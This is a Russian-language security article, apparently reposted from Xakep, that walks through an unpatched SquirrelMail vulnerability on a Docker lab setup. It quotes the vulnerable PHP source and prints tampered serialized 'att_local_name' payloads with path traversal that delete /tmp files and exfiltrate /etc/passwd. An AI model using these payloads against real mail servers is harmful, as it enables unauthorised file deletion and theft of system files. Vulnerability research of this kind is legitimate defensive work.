JustPaste.it

Хакер - Как подчинить белку. Учимся эксплуатировать новую уязвимость в почтовике SquirrelMail

nopaywall

82b4b8386baedc0d4c39d2e73f398719.jpg

https://t.me/nopaywall

В почтовом сервере SquirrelMail найдена очередная уязвимость, и, хоть баг довольно прост, импакт от него крайне неприятный: любой пользователь может читать или удалять произвольные файлы в системе. Но досаднее всего для владельцев SquirrelMail, что прошел год с момента находки уязвимости, а разработчики так ее и не запатчили. Давай посмотрим, откуда она берется и как ее эксплуатировать.

Почти год назад я писал о другой уязвимости SquirrelMail — тогда речь шла об RCE, а проблема была в некорректной фильтрации параметров, которые отправляются бинарнику sendmail. Через месяц после этого, в мае 2017 года, исследователь из TROOPERS18 Флориан Груноу (Florian Grunow) обнаружил еще одну критическую уязвимость в этом же продукте. На сей раз проблема закралась в функцию прикрепления файлов к сообщению, а успешная эксплуатация позволяет атакующему читать файлы на целевой системе.

Груноу целый год не публиковал информацию о найденной уязвимости, ожидая, пока ее закроют. Однако разработчики за все это время не удосужились ему ответить. Терпение у исследователя кончилось, и он выложил информацию в публичный доступ.

 

 

Как тестировать уязвимость

Перво-наперво поднимем стенд. Почтовые сервисы — это такой тип приложений, развертывание которых дает тебе как минимум +3 к навыкам администрирования. Тут много подводных камней, и без погружения в конфиги не обойтись. Хорошо хоть старый добрый Docker может выручить. Если не хочешь возиться с настройкой, то качай готовый контейнер из моего репозитория и переходи к следующему абзацу.

Запускаем докер и устанавливаем необходимый набор сервисов.

docker run -ti -p80:80 --rm --name=squirrel --hostname=squirrel debian /bin/bash apt-get update && apt-get install -y sendmail wget nano apache2 dovecot-core dovecot-imapd php

Скачиваем один из последних дистрибутивов SquirrelMail. Ссылка легко может быть недействительной, так как разработчики постоянно обновляют сборки, удаляя при этом старые архивы.

install -d /usr/local/src/downloads cd /usr/local/src/downloads wget http://prdownloads.sourceforge.net/squirrelmail/squirrelmail-webmail-1.4.22.tar.gz mkdir /usr/local/squirrelmail cd /usr/local/squirrelmail mkdir data temp attach chown www-data:www-data data temp attach tar xvzf /usr/local/src/downloads/squirrelmail-webmail-1.4.22.tar.gz mv squirrelmail-webmail-1.4.22 www

Теперь нужно создать конфигурационный файл для Squirrell. Для этих целей существует конфигуратор.

www/configure

Или по старинке можешь вручную отредактировать дефолтный конфигурационный файл www/config/config_default.php.

Для нас главное, что в нем нужно указать, — это пути, по которым будут располагаться временные файлы, в том числе прикрепляемые к письмам. По умолчанию пути такие:

  1. Data Directory: /var/local/squirrelmail/data/.
  2. Attachment Directory: /var/local/squirrelmail/attach/.

Меняем их в соответствии с реальным положением вещей.

sed "s/domain = 'example.com'/domain = 'visualhack'/; s#/var/local/squirrelmail/#/usr/local/squirrelmail/#g" /usr/local/squirrelmail/www/config/config_default.php > /usr/local/squirrelmail/www/config/config.php

Приближаемся к финишной прямой — настройке почтовых сервисов. Указываем, какие протоколы будем использовать.

echo "protocols = imap" > /etc/dovecot/dovecot.conf

Разрешаем авторизацию по файлу паролей.

echo \!include auth-passwdfile.conf.ext > /etc/dovecot/conf.d/10-auth.conf

Теперь добавим юзера в dovecot, так как для успешной эксплуатации уязвимости нужно быть авторизованным в системе.

useradd -G mail attacker install -d -g attacker -o attacker /home/attacker cat /etc/passwd|grep attacker|sed 's/x/{PLAIN}passw/; s/.$//' > /etc/dovecot/users

Не забываем прописать в конфиге Apache алиас для доступа к дистрибутиву SquirrelMail и доступ на чтение папки, в которой он находится.

cat >>/etc/apache2/apache2.conf <<EOL Alias /squirrelmail /usr/local/squirrelmail/www <Directory /usr/local/squirrelmail> Options Indexes FollowSymLinks AllowOverride None Require all granted </Directory> EOL

Вот вроде бы и все приготовления. Теперь запускаем требуемые сервисы и переходим непосредственно к изучению уязвимости.

service dovecot start && service apache2 start && service sendmail start Форма авторизации SquirrelMail Форма авторизации SquirrelMail
 

Детали

Проблема кроется в функции создания нового письма, так что с этого и начнем. Авторизуемся и откроем скрипт compose.php.

Страница создания нового письма в SquirrelMail Страница создания нового письма в SquirrelMail

Приложение SquirrelMail написано на PHP, поэтому никаких проблем с чтением исходников не возникает. За вывод всей формы отвечает метод showInputForm.

/src/compose.php
647: if ($compose_new_win == '1') { 648: compose_Header($color, $mailbox); 649: } else { 650: displayPageHeader($color, $mailbox); 651: } ... 695: showInputForm($session, $values);

Ниже окошка под текст письма мы видим место для прикрепления файлов. Давай вооружимся сниффером, приаттачим что-нибудь и глянем на этот процесс поближе.

Запрос на прикрепление файла к письму Запрос на прикрепление файла к письму

При нажатии кнопки Attach уходит POST-запрос на все тот же скрипт compose.php. В форме передается параметр attach, и отрабатывает следующий кусок кода:

/src/compose.php
92: sqgetGlobalVar('attach',$attach, SQ_POST); ... 582: } elseif (isset($attach)) { ... 588: if (saveAttachedFiles($session)) { 589: plain_error_message(_("Could not move/copy file. File not attached"), $color); 590: } 591: if ($compose_new_win == '1') { 592: compose_Header($color, $mailbox); 593: } else { 594: displayPageHeader($color, $mailbox); 595: } 596: showInputForm($session); 597: }

Как видишь, в строке 588 вызывается функция saveAttachedFiles, она выполняет обработку файла и сохранение его во временной директории. Эта директория задается настройкой $attachment_dir в конфигурационном файле Squirrel config.php.

/src/compose.php
1562: function saveAttachedFiles($session) { 1563: global $_FILES, $attachment_dir, $username, 1564: $data_dir, $composeMessage; ... 1567: if (! is_uploaded_file($_FILES['attachfile']['tmp_name']) ) { 1568: return true; 1569: } 1570: 1571: $hashed_attachment_dir = getHashedDir($username, $attachment_dir);

Название файла генерируется самописной функцией GenerateRandomString, которая создает строку заданной длины из рандомных буквенно-цифровых символов.

/src/compose.php
1572: $localfilename = GenerateRandomString(32, '', 7); 1573: $full_localfilename = "$hashed_attachment_dir/$localfilename"; 1574: while (file_exists($full_localfilename)) { 1575: $localfilename = GenerateRandomString(32, '', 7); 1576: $full_localfilename = "$hashed_attachment_dir/$localfilename"; 1577: }
/functions/strings.php
614: function GenerateRandomString($size, $chars, $flags = 0) { 615: if ($flags & 0x1) { 616: $chars .= 'abcdefghijklmnopqrstuvwxyz'; 617: } 618: if ($flags & 0x2) { 619: $chars .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; 620: } 621: if ($flags & 0x4) { 622: $chars .= '0123456789'; 623: } ... 629: sq_mt_randomize(); /* Initialize the random number generator */ 630: 631: $String = ''; 632: $j = strlen( $chars ) - 1; 633: while (strlen($String) < $size) { 634: $String .= $chars{mt_rand(0, $j)}; 635: } 636: 637: return $String; 638: }

Затем временный файл, который был создан интерпретатором PHP, переименовывается и складируется в директорию для хранения аттачей.

/src/compose.php
1581: if (!@rename($_FILES['attachfile']['tmp_name'], $full_localfilename)) { 1582: if (!@move_uploaded_file($_FILES['attachfile']['tmp_name'],$full_localfilename)) { 1583: return true; 1584: } 1585: } Созданный временный файл для прикрепления к письму Созданный временный файл для прикрепления к письму

В завершение вызывается метод initAttachment класса Message. Он собирает все файлы, что были прикреплены к письму, в одном массиве entities; элементы этого массива также экземпляры класса Message.

/src/compose.php
1586: $type = strtolower($_FILES['attachfile']['type']); 1587: $name = $_FILES['attachfile']['name']; 1588: $composeMessage->initAttachment($type, $name, $localfilename); 1589: }
/class/mime/Message.class.php
1091: function initAttachment($type, $name, $location) { 1092: $attachment = new Message(); 1093: $mime_header = new MessageHeader(); 1094: $mime_header->setParameter('name', $name); 1095: $pos = strpos($type, '/'); 1096: if ($pos > 0) { 1097: $mime_header->type0 = substr($type, 0, $pos); 1098: $mime_header->type1 = substr($type, $pos+1); 1099: } else { 1100: $mime_header->type0 = $type; 1101: } 1102: $attachment->att_local_name = $location; 1103: $disposition = new Disposition('attachment'); 1104: $disposition->properties['filename'] = $name; 1105: $mime_header->disposition = $disposition; 1106: $attachment->mime_header = $mime_header; 1107: $this->entities[]=$attachment; 1108: }

Отдельного внимания заслуживает строка 1102, где полный путь до файла вместе с именем сохраняются в свойстве att_local_name. Когда этот код отрабатывает, $composeMessage->entities содержит все прикрепленные к письму файлы.

После этого выполнение вновь передается функции showInputForm. Только теперь у нас имеются прикрепленные файлы, и в дело вступают следующие участки кода:

/src/compose.php
1136: function showInputForm ($session, $values=false) { ... 1366: // composeMessage can be empty when coming from a restored session 1367: if (is_object($composeMessage) && $composeMessage->entities) 1368: $attach_array = $composeMessage->entities; ... 1463: echo addHidden('composesession', $composesession). 1464: addHidden('querystring', $queryString). 1465: (!empty($attach_array) ? 1466: addHidden('attachments', serialize($attach_array)) : ''). 1467: "</form>\n";

Помимо вывода списка сохраненных файлов, в форму добавляется скрытое поле attachments, которое содержит все метаданные этих файлов в виде десериализованной и URL-кодированной переменной $composeMessage->entities.

Сериализованные данные с прикрепленными к файлу документами Сериализованные данные с прикрепленными к файлу документами

Данные из этого поля считаются легитимными, не проходят никакой фильтрации и в дальнейшем используются при работе с создаваемым сообщением (разумеется, предварительно пройдя через функцию unserialize).

/src/compose.php
115: sqgetGlobalVar('attachments', $attachments, SQ_POST); ... 371: if (!empty($attachments)) { 372: $attachments = unserialize($attachments); 373: if (!empty($attachments) && is_array($attachments)) 374: $composeMessage->entities = $attachments; 375: }
 

Удаление произвольных файлов

Самое интересное происходит при дальнейшей обработке этих данных. Начнем с возможности удаления уже прикрепленных аттачей. Отмечаем файл и жмем Delete Selected Attachments, предварительно включив перехват запросов.

Запрос на удаление прикрепленного файла Запрос на удаление прикрепленного файла

Отрабатывает следующий участок кода, отвечающий за удаление:

/src/compose.php
113: sqgetGlobalVar('do_delete', $do_delete, SQ_POST); ... 613: } elseif (isset($do_delete)) { ... 625: if (isset($delete) && is_array($delete)) { 626: foreach($delete as $index) { 627: if (!empty($composeMessage->entities) && isset($composeMessage->entities[$index])) { 628: $composeMessage->entities[$index]->purgeAttachments(); 631: unset ($composeMessage->entities[$index]); 632: }

В нем вызывается метод purgeAttachments, который стирает файлы с диска при помощи PHP-функции unlink.

/class/mime/Message.class.php
1114: function purgeAttachments() { 1115: if ($this->att_local_name) { 1116: global $username, $attachment_dir; 1117: $hashed_attachment_dir = getHashedDir($username, $attachment_dir); 1118: if ( file_exists($hashed_attachment_dir . '/' . $this->att_local_name) ) { 1119: unlink($hashed_attachment_dir . '/' . $this->att_local_name); 1120: } 1121: }

А вот и свойство att_local_name, на которое нужно обратить внимание. Это имя удаляемого файла. Оно попадет прямиком в функцию unlink. По задумке разработчиков это лишь название, которое было автоматически сгенерировано во время загрузки аттача. И все было бы хорошо, только вот данные о загруженных файлах берутся из формы, а именно — из сериализованного поля attachments. Это означает, что можно легко контролировать название удаляемого файла, просто меняя его в запросе.
В моем случае это выглядит так.

...s:14:"att_local_name";s:32:"76Nh2n1ufiHXcSlNYvKe6SbBfpcQC1hG";}}

Думаю, ты уже догадался, что тут можно провернуть. Налицо стандартный path traversal: при помощи ../ можно выйти из директории с аттачами, прогуляться по диску и удалить что-нибудь не предусмотренное логикой работы скрипта. Если ты на память не помнишь, как устроен формат сериализованных данных в PHP, то подробную информацию можешь найти на просторах интернета или в моей статье о внедрении объектов в PHP.

Специально создам тестовый файл owned в директории /tmp, так как удалять можно только файлы, разрешенные на запись всем пользователям или созданные юзером, от которого работает веб-сервер (в моем случае это www-data). Теперь изменяем свойство att_local_name и отправляем запрос.

...s:14:"att_local_name";s:24:"../../../../../tmp/owned";}}

Файл, конечно же, удалится.

Успешное удаление произвольного файла через уязвимость Успешное удаление произвольного файла через уязвимость
 

Чтение произвольных файлов

Тут история немного другая, нам нужно заглянуть в функцию отправки сообщения deliverMessage.

/src/compose.php
1638: function deliverMessage(&$composeMessage, $draft=false) { 1639: global $send_to, $send_to_cc, $send_to_bcc, $mailprio, $subject, $body, 1640: $username, $popuser, $usernamedata, $identity, $idents, $data_dir, 1641: $request_mdn, $request_dr, $default_charset, $color, $useSendmail, 1642: $domain, $action, $default_move_to_sent, $move_to_sent; 1643: global $imapServerAddress, $imapPort, $imap_stream_options, $sent_folder, $key; ... 1705: /* multipart messages */ 1706: if (count($composeMessage->entities)) {

Во время выполнения проверяется наличие аттачей. Затем начинается доставка сообщения. В зависимости от установленных настроек в конфиге выполнение программы может прыгать на разные ветки, но в итоге все придет к выполнению метода mail из класса Deliver.

/src/compose.php
1826: if ($stream) { 1827: $deliver->mail($composeMessage, $stream, $reply_id, $reply_ent_id); 1828: $succes = $deliver->finalizeStream($stream); 1829: }
/class/deliver/Deliver.class.php
075: function mail(&$message, $stream=false, $reply_id=0, $reply_ent_id=0, 076: $imap_stream=NULL, $extra=NULL) { ... 138: $this->send_mail($message, $header, $boundary, $stream, $raw_length, $extra);

Далее он выполняет вызов send_mail.

/class/deliver/Deliver.class.php
167: function send_mail($message, $header, $boundary, $stream=false, 168: &$raw_length, $extra=NULL) { 169: 170: if ($stream) { 171: $this->preWriteToStream($header); 172: $this->writeToStream($stream, $header); 173: } 174: $this->writeBody($message, $stream, $raw_length, $boundary); 175: }

Выполнение переходит к методу writeBody, который отправляет тело созданного сообщения, в том числе и прикрепленные файлы. Тут логика аналогична удалению: если указано свойство att_local_name, то оно используется в качестве имени файла, только на этот раз для чтения из временной директории с аттачами.

/class/deliver/Deliver.class.php
338: } elseif ($message->att_local_name) { 339: global $username, $attachment_dir; 340: $hashed_attachment_dir = getHashedDir($username, $attachment_dir); 341: $filename = $message->att_local_name; 342: $file = fopen ($hashed_attachment_dir . '/' . $filename, 'rb'); 343: 344: while ($tmp = fread($file, 570)) { ... 356: fclose($file); 357: }

Поэтому, манипулируя att_local_name, мы можем отправлять себе на почту локальные файлы с сервера, доступные для чтения.

Перехватим запрос с отправкой сообщения и укажем /etc/passwd в качестве аттача.

...s:14:"att_local_name";s:24:"../../../../../etc/passwd";}} Измененный запрос на отправку письма в SquirrelMail Измененный запрос на отправку письма в SquirrelMail

Необязательно даже дожидаться доставки письма или вообще отправлять его на валидный адрес, чтобы прочитать файл. Достаточно после нажатия кнопки «Отправить» перейти в раздел Sent, где хранятся копии отправленных писем. Затем открыть нужное и загрузить требуемый аттач с помощью кнопки Download.

Чтение произвольных файлов в SquirrelMail Чтение произвольных файлов в SquirrelMail
 

Выводы

Увы, даже настолько простые уязвимости могут легко оставаться незамеченными на протяжении многих лет. В данной ситуации удивляет скорее бездействие команды разработчиков SquirrelMail. Такие возможности, как чтение и удаление произвольных файлов в системе, вряд ли можно считать секьюрной фичей. Я все же надеюсь, что патч, который исправит этот досадный баг, выйдет в ближайшее время и очередной продукт станет чуточку безопаснее.

Читайте ещё больше платных статей бесплатно: https://t.me/nopaywall